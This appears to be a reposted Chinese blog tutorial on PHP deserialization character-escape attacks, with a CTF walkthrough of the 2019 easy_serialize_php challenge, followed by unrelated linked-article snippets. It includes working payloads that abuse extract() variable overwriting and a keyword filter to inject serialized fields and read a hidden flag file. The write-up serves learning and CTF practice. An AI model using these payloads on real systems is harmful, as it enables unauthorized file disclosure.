php反序列化-字符逃逸看这一篇就够了

反序列化的特性

<?php
/*
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'highlight_file';
$_SESSION['img'] = base64_encode('/d0g3_fllllllag'); //d0g3_f1ag.php
$serialize_info = serialize($_SESSION);echo $serialize_info;*/$str = 'a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';
print_r (unserialize($str));

这是应该正常的反序列化代码,没有添加任何字符
image.png
但是我们可以往 }符号 外面尝试再加入一些字符
image.png
可以发现,添加了asfd后,反序列化依旧正常执行。只要 } 符号外面的字符,反序列化对象的时候都会忽略掉。

字符逃逸

缩短逃逸

初入了解

实例代码

<?php
function filter($string){$filter = '/p/i';return preg_replace($filter,'',$string);
}
$username = 'ppppppppppppp';
$age = $_GET['age']; // c";i:1;s:2:"20";}$age = '10';  // 原本的值
extract($_GET); //变量覆盖$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

我们知道代码存在过滤,本来的p替换为空
image.png
在php反序列化中,比如这个数组找不到对应13个字符的值,它会往后寻找。然后读取进去
image.png
这里我们通过变量覆盖,对age变量进行传参,可以发现反序列化正常的执行成功了

c";i:1;s:2:"20";}

我们想修改的age的值也成功修改,这也就是代表我们逃逸成功了
image.png
反序列化将会从这里开始读取字符串
image.png
可以看见刚好为13个字符

";i:1;s:17:"c

进阶测试

实例代码

<?php
function filter($string){$filter = '/p/i';return preg_replace($filter,'',$string);
}$usernmae = $_GET['username'];
$password = $_GET['password']; // c";i:1;s:2:"20";}
$username = 'admin';
$password = '123456';  // 原本的值
extract($_GET); //变量覆盖$user = array($username, $password);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

image.png
在这里,我们的目标仅仅是通过变量覆盖,然后来修改password的值
payload构造如下:

?username=pppppppppppp&password=";i:1;s:6:"654321";}

可以发现被修改成654321,成功的进行了字符逃逸 image.png
p替换为空之后,说明了可以逃逸的字符为12个字符,最后通过 ";闭合让反序列化正常执行,最后}符号除掉了我们不想要的字符。
image.png

增长逃逸

其实了解了缩短逃逸的原理,会发现增长逃逸也差不多,甚至更加简单

实例代码

<?php
function filter($string){$filter = '/p/i';return preg_replace($filter,'aa',$string);
}$usernmae = $_GET['username'];
$password = $_GET['password']; // c";i:1;s:2:"20";}
$username = 'admin';
$password = '123456';  // 原本的值
extract($_GET); //变量覆盖$user = array($username, $password);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

原理

image.png
在这里,我们的目的同样是修改123456这个值
image.png
过滤函数将我们反序列化后的字符串20个p就会替换为40个a
image.png

但是我们可以看见数组所读取的字符串是20个字符,这个时候我们只需要在溢出的字符p输入相对应的长度的payload,就可以进行修改了。比如这个payload长度就是20

";i:1;s:6:"654321";}

我们将payload放入长度相等的过滤p字符后面

?username=pppppppppppppppppppp";i:1;s:6:"654321";}

可以看见反序列化成功,password的值也成功修改了
image.png

案例

[安洵杯 2019]easy_serialize_php

进入主页点击这个
image.png
然后就出现了以下源代码

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

代码分析

通过分析代码可以看见f是一个传参变量,当它等于phpinfo时,根据题目所说会有flag的提示
image.png
image.png
这里我们构造传参

?f=phpinfo

在这里可以发现flag的提示文件
image.png
为什么使用auto_append_file 查找呢?因为它是一个包含文件的选项。其中当f传参变量等于show_image时将会读取文件,所以知道是文件读取才能找到flag
image.png
可以发现读取flag,必须要经过反序列化,这里反序列化还有过滤函数会替换关键字为空
image.png

怎么构造序列化?

首先我们找到一些的可控变量,当img_path传参不存在的时候,将会使用img进行传参,所以这里默认存在img可以进行传参
image.png
由于function默认的传参不是我们想要的show_image,如果默认不管的话将会扰乱我们读取文件
初始构造脚本,

<?php
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'highlight_file';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php'); //读取的文件$serialize_info = filter(serialize($_SESSION));var_dump (serialize($_SESSION));
echo "<br><br><br>";
echo $serialize_info."<br><br><br>";
var_dump (unserialize($serialize_info));

正常情况下,代码应该是这样子走的。我们可以发现这个字符串阻止了我们的文件读取
image.png
这个时候就需要用到了php反序列化-字符逃逸的缩短逃逸,因为代码存在替换函数,将会导致字符的缺失。

";s:8:"function";s:14:

将这个字符串进行读取,将会截断后面没用的内容
image.png

缩短逃逸-构造payload

这里使用恶意的字符串故意让替换函数替换为空,刚好22个字符

phpphpphpphpphpphpflag

可以看见读取字符串之后,反序列化失败,是因为该数组还没有闭合
image.png
现在我们来构造function传参的值
运行以下代码

<?php
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$_SESSION["user"] = 'phpphpphpphpphpphpflag';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"c";}highlight_file';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');$serialize_info = filter(serialize($_SESSION));var_dump (serialize($_SESSION));
echo "<br><br><br>";
echo $serialize_info."<br><br><br>";
var_dump (unserialize($serialize_info));

可以看见反序列化执行成功,字符串成功逃逸
image.png
解释一下这个传参:

$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"c";}highlight_file';
  • s:2:“aa”;s:1:“c”; 是一个数组,因为数组一共有三个,所以我们自己构造了一个函数
  • ";s:8:“function”;s:71: 是反序列化读取的字符串,后面直接截断了,我们想要的字符串
  • 利用这个符号 } 阶段了没必要的字符串

由于代码中存在变量覆盖
image.png
这里我们使用POST请求传参
payload:

/index.php?f=show_image
_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"hh";s:1:"a";}

image.png
查看源代码,可以发现有个一flag的提示文件
image.png
将这个字符串,进行base64加密即可,然后替换原来的base64文件
image.png

;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"c";}

最后可以看见成功读取到了flag了
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/521418.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

unity学习(51)——服务器三次注册限制以及数据库化角色信息6--完结

同一账号只写第一次&#xff0c;不同账号第一次爆炸 &#xff0c;就因为下面部分得到逻辑有问题 修改后的代码如下&#xff1a;1.成功完成角色注册信息的数据库化记录。2.每个账号上限3个角色。3.角色是可以重名的&#xff0c;但是角色的id不会重名。 internal class UserCach…

酷克数据荣获粤港澳大湾区金融创新成果“特优解决方案”奖

近日&#xff0c;“第二届金融创新优秀应用案例与解决方案技术成果评定”正式揭晓&#xff0c;酷克数据提交的“HashData云原生金融信创数据仓库”入选特优解决方案&#xff0c;成为数据治理与数据平台类目中唯一的厂商方案。 本次评定历时5个多月&#xff0c;共257个项目参与申…

为什么TikTok视频0播放?账号权重提高要重视

许多TikTok账号运营者都会遇到一个难题&#xff0c;那就是视频要么播放量很低&#xff0c;要么0播放&#xff01;不管内容做的多好&#xff0c;最好都是竹篮打水一场空&#xff01;其实你可能忽略了一个问题&#xff0c;那就是账号权重。下面好好跟大家讲讲这个东西&#xff01…

《拓跋氏后裔的诅咒》——献给奋斗中的女性

近日&#xff0c;一部描绘北方农村女性成长与觉醒的长篇小说《拓跋氏后裔的诅咒》引起了广泛关注。这部作品由北京儿童医院的医生张鹏飞历时四年精心创作&#xff0c;由作家出版社出版。小说通过一个具有代表性的北方农村女性的视角&#xff0c;展现了现代社会中女性地位的提升…

直播相机,AI纪元!云犀首款AI直播相机重磅发布!

3月7日晚&#xff0c;云犀重磅发布首款AI直播相机-云犀智瞳Pro&#xff01;据悉该相机内置了云犀首款AI直播调参大模型&#xff0c;能够通过AI分析智能调节直播间参数&#xff0c;赋予直播间画面AI智能调控能力。 云犀AI直播相机&#xff0c;让直播更简单 此次云犀AI直播相机的…

Mysql 学习(十五)redo 日志

redo 日志 什么是redo日志&#xff1f;在说这个之前我们先来想一个场景&#xff0c;在访问磁盘的页面之前&#xff0c;我们会先把页面缓存到Buffer Pool之后&#xff0c;才会访问。写页面的时候也会先将buffer pool中的页面修改之后&#xff0c;然后在某个时机才会刷新到磁盘中…

Linux基础IO【 详 解 】

文章目录 C语言文件IOC语言文件接口汇总默认打开的三个流 系统文件IOopenclosewriteread 文件描述符fd文件描述符的分配规则重定向重定向的本质dup2 FILEFILE当中的文件描述符FILE当中的缓冲区 理解文件系统初识inode磁盘分区与格式化介绍 软硬链接软链接硬链接软硬链接的区别 …

国家妇女节放假是法定的假日

在这个充满活力和希望的春天&#xff0c;我们迎来了一个特殊的节日——国家妇女节。这是一个属于所有女性的节日&#xff0c;是一个庆祝女性成就、关爱女性权益的时刻。在这个特殊的日子里&#xff0c;我们不禁要问&#xff1a;国家妇女节放假是法定假日吗&#xff1f;让我们一…

从新能源汽车行业自动驾驶技术去看AI的发展未来趋势

自动驾驶汽车关键技术主要包括环境感知、精准定位、决策与规划、控制与执行、高精地图与车联网V2X以及自动驾驶汽车测试与验证技术等。 &#x1f413; 自动驾驶技术 这是AI在汽车行业中应用最广泛的领域之一。自动驾驶技术利用AI算法和传感器来感知环境、识别障碍物&#xff0c…

vue 使用element plus 菜单时,折叠文字不消失

问题&#xff1a; 菜单折叠时&#xff0c;title文本无法消失&#xff0c;同时下拉箭头还会存在 解决方法&#xff1a; 查看项目中是否有div标签 原因 div和p标签都是块级元素&#xff0c;可能是这个原因 所以把项目中的p标签改为span标签 div改为template即可解决

免费实时天气预报api接口

5分钟更新一次,包含基本天气信息、24小时逐小时天气、实时气象预警列表、湿度、能见度、气压、日出日落、9大生活指数、pm2.5、pm10、o3、no2、so2、是否需要带口罩、外出适宜、开窗适宜、是否需要打开净化器等,可按地名、城市编号、IP查询。 新增:优化预警字段, 返回实时预…

一 windso10 笔记本刷linux cent os7.9系统

1:准备材料 16G以上U盘, 笔记本一台 镜像选了阿里云镜像:centos-7-isos-x86_64安装包下载_开源镜像站-阿里云 软件:链接&#xff1a;https://pan.baidu.com/s/13WDp2bBU1Pdx4gRDfmBetg 提取码&#xff1a;09s3 2:把镜像写入U盘,本人已经写入好了,选择镜像,点开始就是,确定等…